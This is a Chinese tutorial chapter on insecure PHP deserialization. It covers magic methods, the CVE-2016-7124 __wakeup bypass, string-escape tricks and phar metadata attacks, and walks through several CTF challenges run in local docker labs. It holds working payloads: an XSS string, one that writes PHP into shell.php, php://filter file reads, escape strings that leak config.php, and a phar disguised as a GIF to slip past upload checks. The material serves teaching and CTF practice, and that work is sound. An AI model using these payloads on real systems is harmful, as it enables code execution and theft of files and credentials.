Files
security-book/02.WEB安全/13.不安全的反序列化.md
2025-08-27 14:07:52 +08:00

1305 lines
50 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 13.不安全的反序列化
## 1. 简介
序列化就是把一个对象变成可以传输的字符串,目的就是为了方便传输。
反序列化和序列化是两个正好相反的过程。
序列化的目的是方便数据的传输和存储json是为了传递数据的方便性.。
序列化和反序列化本身并不存在问题。但当反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。
## 2. 漏洞产生原理
### 2.1 序列化与反序列化
首先看下`json_encode()``json_decode()`函数的作用
这边有一个book的数组
```
'book1'=>'Harry Potter',
'book2'=>'MR.Bean',
'Book3'=>'Python Cookbook',
'Book4'=>'History'
```
如果我们想传输这个数组怎么办呢,我们就可以请`json_encode()`这个函数帮助我们将这个数组序列化成一串字符串。
假设我们写了一个class这个class里面存有一些变量。当这个class被实例化了之后在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量如果我们让这个class一直不销毁等着下一次要用它的时候再一次被调用的话浪费系统资源。当我们写一个小型的项目可能没有太大的影响但是随着项目的壮大一些小问题被放大了之后就会产生很多麻烦。这个时候PHP就和我们说你可以把这个对象序列化了存成一个字符串当你要用的时候再放他出来就好了。
```php
<?php
$book = array(
'Book1' => 'Harry Potter',
'Book2' => 'MR.Bean',
'Book3' => 'Python Cookbook',
'Book4' => 'History'
);
$json = json_encode($book);
echo $json;
?>
// {"Book1":"Harry Potter","Book2":"MR.Bean","Book3":"Python Cookbook","Book4":"History"}
```
如果想要序列化一个对象
```php
<?php
class Democlass
{
public $name = "Eagle";
public $sex = "man";
public $age = 7;
function eat(){
echo $this->name . "吃饭";
}
}
$example = new DemoClass();
$example->name = "haha";
$example->sex = "woman";
$example->age = 18;
echo serialize($example)
?>
// O:9:"Democlass":3:{s:4:"name";s:4:"haha";s:3:"sex";s:5:"woman";s:3:"age";i:18;}
```
然后如果反序列化回来的话
```php
<?php
class Democlass
{
public $name = "Eagle";
public $sex = "man";
public $age = 7;
function eat(){
echo $this->name . "吃饭";
}
}
$NexExample = unserialize('O:9:"Democlass":3:{s:4:"name";s:4:"haha";s:3:"sex";s:5:"woman";s:3:"age";i:18;}');
echo $NexExample->name;
$NexExample->eat();
?>
// hahahaha吃饭
```
那如果是对象中的非public属性呢
```php
<?php
class Democlass
{
public $name;
protected $sex = "man";
private $age = 18;
function eat(){
echo $this->name . "吃饭";
}
}
$example = new DemoClass();
$example->name = "haha";
$var = serialize($example);
echo $var;
?>
// O:9:"Democlass":3:{s:4:"name";s:4:"haha";s:6:"*sex";s:3:"man";s:14:"Democlassage";i:18;}
```
可以发现sex属性前面的长度是6其实protected属性的表示方式是在变量名前加上`%00*%00`
age是是由属性长度是14其实private属性的表示方式是在变量名前加上`%00类名%00`
注意:序列化不保存方法
反序列化处的参数用户可控,服务器接收我们序列化后的字符串并且未经过滤把其中的变量放入一些魔术方法里面执行,这就很容易产生漏洞。
### 2.2 魔术方法
魔术方法命名是以符号开头的,比如 `__construct`,`__destruct`,`__toString`,`__sleep`,`__wakeup`等等。这些函数在某些情况下会自动调用。
```
__construct():具有构造函数的类会在每次创建新对象时先调用此方法。
__destruct():析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
__toString()方法用于一个类被当成字符串时应怎样回应。例如echo $obj;应该显示些什么。 此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
__sleep()方法在一个对象被序列化之前调用;
__wakeup():unserialize( )会检查是否存在一个_wakeup( )方法。如果存在则会先调用_wakeup方法预先准备对象需要的资源。
__get(),__set() 当调用或设置一个类及其父类方法中未定义的属性时
__invoke() 调用函数的方式调用一个对象时的回应方法
__call 和__callStatic前者是调用类不存在的方法时执行而后者是调用类不存在的静态方式方法时执行。
```
运行下面的案例,理解这几个魔术方法的执行顺序
```php
<?php
class Test{
public function __construct(){
echo 'construct run<br>';
}
public function __destruct(){
echo 'destruct run<br>';
}
public function __toString(){
echo 'toString run<br>';
return 'str';
}
public function __sleep(){
echo 'sleep run<br>';
return array();
}
public function __wakeup(){
echo 'wakeup run<br>';
}
}
echo 'new了一个对象对象被创建执行__construct<br>';
$test = new Test();
echo 'serialize了一个对象对象被序列化先执行__sleep再序列化<br>';
$sTest = serialize($test);
echo '__wakeup(): unserialize()会检查是否存在一个__wakeup()方法如果存在则会先调用__wakeup方法预先准备对象需要的资源<br>';
?>
// new了一个对象对象被创建执行__construct
// construct run
// serialize了一个对象对象被序列化先执行__sleep再序列化
// sleep run
// __wakeup(): unserialize()会检查是否存在一个__wakeup()方法如果存在则会先调用__wakeup方法预先准备对象需要的资源
// destruct run
```
再来个简化的版本
```php
<?php
class A
{
var $a = "a";
var $b = "b\r\n";
function __construct()
{
$this->a = "123";
echo "初始化时调用\r\n";
}
function __destruct()
{
echo "销毁时调用--";
echo $this->a . "\r\n";
}
}
$b = new A();
#$ser serialize($b);
#echo $ser;
$ser_test = 'O:1:"A":1:{s:1:"a";s:4:"test";}';
$unser = unserialize($ser_test);
echo $b->b;
?>
// 初始化时调用
// b
// 销毁时调用--test
// 销毁时调用--123
```
### 2.3 实例
```php
<?php
class A{
var $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
```
构造payload形成反射型xss
```php
http://10.1.0.30:8000/demo1.php?test=O:1:"A":1:{s:4:"test";s:25:"<script>alert(1)</script>";}
```
![image-20240412104543592](13.不安全的反序列化/image-20240412104543592.png)
## 3. wakeup绕过
### 3.1 CVE-2016-7124
```php
<?php
class A{
var $target = "test";
function __wakeup(){
$this->target = "wakeup!";
}
function __destruct(){
$filename = __DIR__ . '/shell.php';
$fp = fopen($filename,"w");
fputs($fp,$this->target);
fclose($fp);
}
}
$test = $_GET['test'];
$test_unseria = unserialize($test);
echo "shell.php<br/>";
$filename = __DIR__ . '/shell.php';
include($filename);
?>
```
代码正常的执行逻辑,应该是:`unserialize( )`会检查是否存在一个`__wakeup( )`方法。本例中存在,则会先调用`__wakeup()`方法预先将对象中的target属性赋值为"wakeup!"。注意不管用户传入的序列化字符串中的target属性为何值wakeup()都会把$target的值重置为"wakeup!"。最后程序运行结束,对象被销毁,调用`__destruct()`方法将target变量的值写入文件shell.php中。这样shell.php文件中的内容就是字符串"wakeup"。
```php
http://10.1.0.30:8000/demo2.php?test=O:1:"A":1:{s:6:"target";s:4:"test";}
```
![image-20240412104553626](13.不安全的反序列化/image-20240412104553626.png)
当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过`__wakeup`的执行payload如下
```
http://localhost:8080/demo2.php?test=O:1:"A":2:{s:6:"target";s:18:"<?php+phpinfo();?>";}
```
![image-20240412104737240](13.不安全的反序列化/image-20240412104737240.png)
### 3.2 [网鼎杯 2020 青龙组]AreUSerialz
```php
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
```
先来理解一下源码:
这里先判断存不存在str传参存在的话先拿去`is_valid`函数过滤一下,这里`is_valid`函数的作用是检查一下str字符串里面有没有存在不可打印的字符。ord函数是打印第一个字符的ASCII码必须在32到125之间
然后进入反序列化,这里反序列化后生成一个序列化对象,但是不触发任何函数,然后进程结束,序列化对象销毁,触发`__destruct()`判断op值如果强等于“2”则把op重置为“1”注意这里的“2”是字符串然后把content置空执行`process()`函数,进入`process()`函数后先判断opop等于“1”进入write函数op等于“2”进入read函数write函数实现一个文件写入的功能read函数实现一个文件读取的功能
这里我们需要进入read函数读取flag所以需要让进入`process()`函数的op值为2但是我们从一开始传入op为“2”时在进入`process()`函数之前会在`__destruct()`被重置为1所以我们需要绕过这个重置1
这里我们用到了强等于和弱等于,这里的`__destruct`函数是`==="2"`,在`process()`函数里面是`=="2"`
数字2不强等于字符串2但是数字2弱等于字符串2所以我们可以op设置为数字2在destruct函数时2不强等于“2”所以op不会被重置进入`process()`函数后op值2弱等于“2”所以进入read函数进行读取flag.php
所以构造poc生成序列化字符串在ctf比赛中可能还需要读取nginx或者apache或者日志文件来获取绝对路径
```php
<?php
class FileHandler {
public $op = 2;
public $filename = 'php://filter/read=convert.base64-encode/resource=/www/flag.php';
public $content = '';
}
$a = new FileHandler();
echo serialize($a);
# O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:62:"php://filter/read=convert.base64-encode/resource=/www/flag.php";s:7:"content";s:0:"";}?>
```
生成payload
```
http://10.1.0.30:8000/?str=
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:62:"php://filter/read=convert.base64-encode/resource=/www/flag.php";s:7:"content";s:0:"";}
```
![image-20240412104854819](13.不安全的反序列化/image-20240412104854819.png)把base64进行解码得到flag
## 4. 反序列化字符逃逸
### 4.1 前置知识
**特点1**
php在反序列化时底层代码是以 ; 作为字段的分隔,以 } 作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 ,超出的部分并不会被反序列化成功,这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符都会被忽略,不影响反序列化的正常进行。而且可以看到反序列化字符串都是以";}结束的,那如果把";}添入到需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就相应的丢弃了。
**特点2**
长度不对应会报错
**漏洞产生**
反序列化之所以存在字符逃逸最主要的原因是代码中存在针对序列化serialize())后的字符串进行了过滤操作(变多或者变少)。
**漏洞常见条件**
序列化后过滤再去反序列化
### 4.2 替换后变长
#### 4.2.1 原理分析
替换修改后导致序列化字符串变长
示例代码:
```php
<?php
function filter($str)
{
return str_replace('bb', 'ccc', $str);
}
class A
{
public $name = 'aaaabb';
public $pass = '123456';
}
$AA = new A();
echo serialize($AA) . "\n";
$res = filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
var_dump($c);
?>
```
这里我们的目的就是间接通过反序列化改变pass的值
我们先理解代码执行顺序,这里是先序列化,然后再用序列化完的字符串进行过滤
所以当name的值为aaaabb的时候过滤完name的值是aaaaccc七个字符但是序列化字符串依然认为name的值是6个所以根据上面前置知识的特性二这里反序列化失败var_dump($c)的结果是bool(false)
```php
// 运行结果
O:1:"A":2:{s:4:"name";s:6:"aaaabb";s:4:"pass";s:6:"123456";}
O:1:"A":2:{s:4:"name";s:6:"aaaaccc";s:4:"pass";s:6:"123456";}
PHP Notice: unserialize(): Error at offset 33 of 61 bytes in /config/workspace/test.php on line 15
bool(false)
```
但是我们可以利用特性一去闭合当我们让name的值为`";s:4:"pass";s:6:"hacker";}`
```php
<?php
function filter($str)
{
return str_replace('bb', 'ccc', $str);
}
class A
{
public $name = '";s:4:"pass";s:6:"hacker";}';
public $pass = '123456';
}
$AA = new A();
echo serialize($AA) . "\n";
$res = filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
var_dump($c);
?>
// O:1:"A":2:{s:4:"name";s:27:"";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
// O:1:"A":2:{s:4:"name";s:27:"";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
// object(A)#2 (2) {
// ["name"]=>
// string(27) "";s:4:"pass";s:6:"hacker";}"
// ["pass"]=>
// string(6) "123456"
// }
```
首先我们要记得要满足特性一和特性二才能反序列化成功!!!
我们来看生成的字符串`O:1:"A":2:&#123;s:4:"name";s:27:"";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}`(这里需要理解生成的序列化字符串各个含义)
为什么现在生成的序列化字符串还能反序列化成功呢因为我们的name的值现在认为我们有27个字符串但是现在
![image-20240412104913481](13.不安全的反序列化/image-20240412104913481.png)
(箭头处)是空的所以name只能认为`";s:4:"pass";s:6:"hacker";}`当作了name的值这个序列化字符串才能成功反序列化。所以我们的pass的值还是输出了123456.但是我们是想把`";s:4:"pass";s:6:"hacker";}`当作序列化字符串里面的一部分去执行,让pass变成hacker。
所以我们利用到了fileter函数这个过滤函数看似想增加代码的安全性实际上是增加了代码的危险性。
可以看到`";s:4:"pass";s:6:"hacker";}`是27个字符串所以我们使name的值为
```
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";},
```
来分析这27个bb经过第一步序列化后为
```
O:1:"A":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
```
首先这里name的值的字符串数字为81然后看到filter函数过滤后为
```
O:1:"A":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
```
变成了81个c刚好就是原来让name的字符串个数81正确而且;}可以在hacker后面闭合图中箭头所指的;}),这符合了前置知识里面的两个特性,可以成功执行,然后后面的";s:4:"pass";s:6:"123456";}就可以废弃了这便实现了间接修改了pass的值
注:这里序列化后
```
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}
```
是name的值81个值
经过filter函数过滤后前54个c就相当于54个b多出来的27个字符c把27个字符`";s:4:"pass";s:6:"hacker";}`顶到后面了,到这里序列化语句就因为`;}`截止了且name的字符串数81为81个c符合特性二可以反序列化成功。后面`";s:4:"pass";s:6:"123456";}`被顶出去废弃了
```php
<?php
function filter($str)
{
return str_replace('bb', 'ccc', $str);
}
class A
{
public $name = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}';
public $pass = '123456';
}
$AA = new A();
echo serialize($AA) . "\n";
$res = filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
var_dump($c);
?>
// O:1:"A":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
// O:1:"A":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
// object(A)#2 (2) {
// ["name"]=>
// string(81) "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"
// ["pass"]=>
// string(6) "hacker"
// }
```
总结这里其实就是利用了filter函数可以替换增加字符串每增加一个bb在过滤函数filter替换之后会多一个字符串我们需要构造的payload: `";s:4:"pass";s:6:"hacker";}`是27个字符串所以我们加上27个bb是为了多出27个字符
#### 4.2.2 [0CTF 2016]piapiapia
环境搭建
```
docker run -d -p 80:80 registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:piapia
```
思路就是目录扫描,然后发现`www.zip`,明显是网站备份,所以直接下载,然后开始代码审计
查看代码
index.php是用于验证账号密码正确然后跳转到profile.php在profile.php中看到涉及了反序列化函数unserialize(),反序列化的几个变量是上传文件处几个参数
将剩下的几个代码也拿出来分析一下有助于后面的过程要注意在config.php中发现了flag的线索所以下面的目的就是要读取到flag这个文件。
代码逻辑都看完后尝试seay自动审计看看
![image-20240412104923877](13.不安全的反序列化/image-20240412104923877.png)
总结出三处危险函数利用,`profile.php`处的`unserialize``file_get_contents``update.php`的serialize
可以看到这里将变量`$profile['photo']`中的内容也就是上传的文件读取后进行base64编码我们全局搜索一下这个变量
![image-20240412111639379](13.不安全的反序列化/image-20240412111639379.png)
![image-20240412111643492](13.不安全的反序列化/image-20240412111643492.png)
看到变量`$profile['photo']`是文件上传控制的但是被经过md5加密了没办法直接传结合反序列化函数和前面看到的filter的那些正则匹配替换函数我们可以试着尝试反序列化的字符逃逸。
先反过来跟踪传输变量`$profile`的方法`update_profile()`
![image-20240412111648771](13.不安全的反序列化/image-20240412111648771.png)
这里看到经过过滤后调用`update()`更新数据,跟踪`update()`
![image-20240412111653328](13.不安全的反序列化/image-20240412111653328.png)
`update()`函数是把`$profile`变量更新放入数据库,到这里追踪就断了
下面追踪一下`$profile`变量有什么相关代码
![image-20240412111529028](13.不安全的反序列化/image-20240412111529028.png)
![image-20240412111701105](13.不安全的反序列化/image-20240412111701105.png)
可以看到`$profile`变量是`$user``show_profile`函数传过来的,跟进去`class.php`user类里面
![image-20240412104929894](13.不安全的反序列化/image-20240412104929894.png)
user类继承了mysql类这里先调用了父类的filter函数。下面看下filter函数在过滤的时候做了什么
![image-20240412104935810](13.不安全的反序列化/image-20240412104935810.png)
这里是替换字符串中的单引号和反斜杠为下划线 并且替换多个字符串为hacker。implode函数是表示把数组拼接起来拼接符是 “|”:
然后show_profile里面又调用了父类的select函数
![image-20240412104940792](13.不安全的反序列化/image-20240412104940792.png)
看到这里的数据库操作就可以和前面断了的链连接起来了
调用链从后往前推为:
`update.php接收传参->update_profile()->class.php的update()->数据库操作->class.php的select()->show_profile()->profile.php的file_get_contents()`
思路:在 update.php 接收上传文件传参,然后在`update_profile()`里面执行序列化函数和过滤函数以及update()更新数据库,接着`show_profile()`通过`parent::select()`取到` $profile `变量,并把`$object-&lt;profile`变量`return`返回,最后返回的`$object-&lt;profile`变量在`profile.php`被赋值给`$profile`之后反序列化并放到`file_get_contents()`读取文件
整理好思路后看到序列化函数,反序列化以及过滤函数就可以联系到字符逃逸了。
现在我们需要让`file_get_contents()`读取`config.php`,但是变量`$profile['photo']`被经过md5加密了没办法直接传我们看上他的上一个参数nickname因为这里是序列化之后再经过filter函数替换过滤我这也是字符逃逸的一个关键条件
绕过:
先看看两个过滤处,一个是`preg_replace`替换函数,一个是正则匹配函数
第一处`preg_replace`替换:
![image-20240412111909708](13.不安全的反序列化/image-20240412111909708.png)
这里可以看到把selectinsertupdate等字符串替换成hacker其他都是6个字符串和hacker一样并不能让字符串增多但这里有一个where是五个字符串替换成hacker后相当于多了一个字符串如果我们多写几个where就能多出多个字符串多出来的字符串可以构造语句形成字符逃逸。
第二处正则匹配函数:
![image-20240412111916939](13.不安全的反序列化/image-20240412111916939.png)
这里先对它进行了正则这个正则的意思是匹配除了a-zA-Z0-9_之外的字符,因为 “^” 符号是在 “[]” 里面所以是非的意思不是开始的意思preg_match只能处理字符串当传入的subject是数组时会返回false所以我们传入数组可以绕过
这里传数组的payload闭合就和直接传字符串不一样这里数组的payload是`";}s:5:"photo";s:10:"config.php";}`
而这个payload有34个字符所以我们使用where来让反序列化可以进行
```
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
```
随便注册个用户,然后来到文件上传的地方
![image-20240412105115298](13.不安全的反序列化/image-20240412105115298.png)
然后修改nickname
![image-20240412105122226](13.不安全的反序列化/image-20240412105122226.png)
成功拿到flag
![image-20240412105126590](13.不安全的反序列化/image-20240412105126590.png)
因为此处是模拟CTF环境所以flag为空但是看到数据库密码等信息也就意味着成功了
![image-20240412105133428](13.不安全的反序列化/image-20240412105133428.png)
### 4.3 替换后变短
#### 4.3.1 原理分析
替换之后导致序列化字符串变短
简单示例代码:
```php
<?php
function str_rep($string){
return preg_replace( '/php|test/','', $string);
}
$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign'];
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>
```
这段代码是接收了参数name和sign且number是固定的经过了序列化=>正则匹配替换字符串减少=>反序列化的过程后输出结果我们的目的就是通过控制传参name和sign间接改变number
我们继续像上文一样构造在sign中传`";s:6:"number";s:4:"2000";}`看看闭合
![image-20240412105140901](13.不安全的反序列化/image-20240412105140901.png)
这样子直接加入显然是不行的由于sign的字符串个数为27所以后面横线处的payload被当作了字符串sign的值而没有被当作序列化语句去反序列化所以我们还是需要过滤函数了给我们实现字符逃逸
构造payload`?name=testtesttesttesttesttest&sign=hello";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}`
![image-20240412105152043](13.不安全的反序列化/image-20240412105152043.png)
由于一个填写了6个test所以name的长度就是24所以在sign处随便写点什么来凑数让上图所示部分长度是24即可。当test被替换掉之后就正好让反序列化的规则满足了。
#### 4.3.2 [安洵杯 2019]easy_serialize_php
环境部署
```
docker run -d -p 80:80 registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:easyserialize
```
理解一下代码:
先接收一个f的GET传参
filter函数是过滤函数正则匹配替换字符串字符逃逸的条件之一
extract() 函数从数组中将变量导入到当前的符号表(本题的作用是将_SESSION的两个函数变为post传参)
看到传phpinfo提示可能有一些东西进去看看
很明显是要读取这个文件,代码里读取文件的地方在这里:
额,也就是说,`$function`必须等于`show_image`
读取的是base64解码后的`$userinfo['img']``$userinfo`的值是`$serialize_info`的反序列化对象,`$serialize_info`是经过自定义函数过滤的序列化后的`$_SESSION`
![image-20240412105223497](13.不安全的反序列化/image-20240412105223497.png)
![image-20240412105204320](13.不安全的反序列化/image-20240412105204320.png)
这个自定义函数filter惹祸了考察了知识点反序列化字符逃逸。
想知道正常的反序列化之后可以复制代码到本地搭建,然后打印序列化后的字符串
```php
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
```
**键名逃逸**
源码中存在对序列化后的字符串进行过滤的代码
![image-20240412105532357](13.不安全的反序列化/image-20240412105532357.png)
所以即使键名中存在符合要求的字符串都会被替换
![image-20240412105538358](13.不安全的反序列化/image-20240412105538358.png)
可以对键名进行逃逸
过滤前是这样的(其中`ZDBnM19mMWFnLnBocA==``d0g3_f1ag.php`的base64编码)
```php
a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
```
过滤后是这样的
```php
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
```
对比完发现过滤前键名是phpflag键值是后面48个字符串
过滤后phpflag没了键名就变成了`";s:48:`但是后面我们构造的img键值对是需要被反序列化的已经是一对了键名`";s:48`它没有键值,所以我们应该给他一个键值`;s:1:"1`键值名凑和`";s:48:`一样七个字符就好了所以我们应该构造payload
```php
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
```
在源码当中发现新的线索
![image-20240412105546336](13.不安全的反序列化/image-20240412105546336.png)
看到提示我们新路径flag在`/d0g3_fllllllag`,将`/d0g3_fllllllag`去base64加密得到`L2QwZzNfZmxsbGxsbGFn`
![image-20240412105552525](13.不安全的反序列化/image-20240412105552525.png)
**键值逃逸**
payload
先构造function为`a";s:8:"function";s:4:"eval";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}`
至于为什么有个`a`看下图选中部分就是想要让flag被替代的部分正好是23个缺1个用a来占位置的
![image-20240412105600445](13.不安全的反序列化/image-20240412105600445.png)
payload为
```php
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:4:"eval";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
```
![image-20240412105606300](13.不安全的反序列化/image-20240412105606300.png)
获取flag
```php
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:4:"eval";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
```
![image-20240412105610869](13.不安全的反序列化/image-20240412105610869.png)
## 5. phar反序列化
### 5.1 前置知识
phar文件本质上是一种压缩文件会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时会自动反序列化meta-data内的内容。
phar反序列化即在文件系统函数file_exists()、is_dir()等参数可控的情况下配合phar://伪协议可以不依赖unserialize()直接进行反序列化操作。
首先了解一下phar文件的结构一个phar文件由四部分构成
**a stub**
可以理解为一个标志,格式为`xxx&lt;?php xxx; __HALT_COMPILER();?>`,前面内容不限,但必须以`__HALT_COMPILER();?>`来结尾否则phar扩展将无法识别这个文件为phar文件。
**a manifest describing the contents**
phar文件本质上是一种压缩文件其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data这是上述攻击手法最核心的地方。
| Size in bytes | Description |
| ------------------------------------- | ------------------------------------------------------------ |
| 4 bytes | Length of manifest in bytes (1 MB limit) |
| 4 bytes | Number of files in the Phar |
| 2 bytes | API version of the Phar manifest (currently 1.0.0) |
| 4 bytes | Global Phar bitmapped flags |
| 4 bytes | Length of Phar alias |
| ?? | Phar alias (length based on previous) |
| 4 bytes | Length of Phar metadata (0 for none) |
| ?? | Serialized Phar Meta-data, stored in [serialize()](https://www.php.net/manual/en/function.serialize.php) format注意这一条 |
| at least 24 * number of entries bytes | entries for each file |
**the file contents**
被压缩文件的内容。
**[optional] a signature for verifying Phar integrity (phar file format only)**
签名,放在文件末尾,格式如下:
| Length in bytes | Description |
| --------------- | ------------------------------------------------------------ |
| varying | The actual signature, 20 bytes for an SHA1 signature, 16 bytes for an MD5 signature, 32 bytes for an SHA256 signature, and 64 bytes for an SHA512 signature. The length of an OPENSSL signature depends on the size of the private key. |
| 4 bytes | Signature flags. 0x0001 is used to define an MD5 signature, 0x0002 is used to define an SHA1 signature, 0x0003 is used to define an SHA256 signature, and 0x0004 is used to define an SHA512 signature. The SHA256 and SHA512 signature support is available as of API version 1.1.0. 0x0010 is used to define an OPENSSL signature, what is available as of API version 1.1.1, if OpenSSL is available. |
| 4 bytes | Magic GBMB used to define the presence of a signature. |
有序列化数据必然会有反序列化操作php一大部分的文件系统函数在通过phar://伪协议解析phar文件时都会将meta-data进行反序列化测试后受影响的函数如下
| fileatime | filectime | file_exists | file_get_contents |
| ----------------- | ------------- | ------------ | ----------------- |
| file_put_contents | file | filegroup | fopen |
| fileinode | filemtime | fileowner | fileperms |
| is_dir | is_executable | is_file | is_link |
| is_readable | is_writable | is_writeable | parse_ini_file |
| copy | unlink | stat | readfile |
**利用方式**
首先生成一个phar文件将一个类进行序列化
注意要将php.ini中的phar.readonly选项设置为Off否则无法生成phar文件。
```php
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
```
然后如下代码就会触发`__destruct`的方法
```php
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>
```
**phar伪造成其他格式的文件**
在前面分析phar的文件结构时可能会注意到php识别phar文件是通过其文件头的stub更确切一点来说是`__HALT_COMPILER();?>`这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
```php
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
// 查看文件类型,可以看到被识别为图片
// abc@9a0d8215ec46:~/workspace$ file phar.phar
// phar.phar: GIF image data, version 89a, 16188 x 26736
```
采用这种方法可以绕过很大一部分上传检测。
**漏洞利用条件**
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
**绕过方式**
当环境限制了phar不能出现在前面的字符里。可以使用`compress.bzip2://和compress.zlib://`等绕过
```php
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
```
### 5.2 [CISCN2019 华北赛区 Day1 Web1]Dropbox
环境部署
```
docker run -d -p 80:80 registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:dropbox
```
进入题目后是一个登录框,可以注册,所以先注册进去看看先不试试注入
![image-20240412105622224](13.不安全的反序列化/image-20240412105622224.png)
可以看到有上传文件和文件删除文件下载功能自然就试试能不能文件下载flag文件但是读不到就先查看index.php文件
不过要注意的是,文件都放在上上级目录了
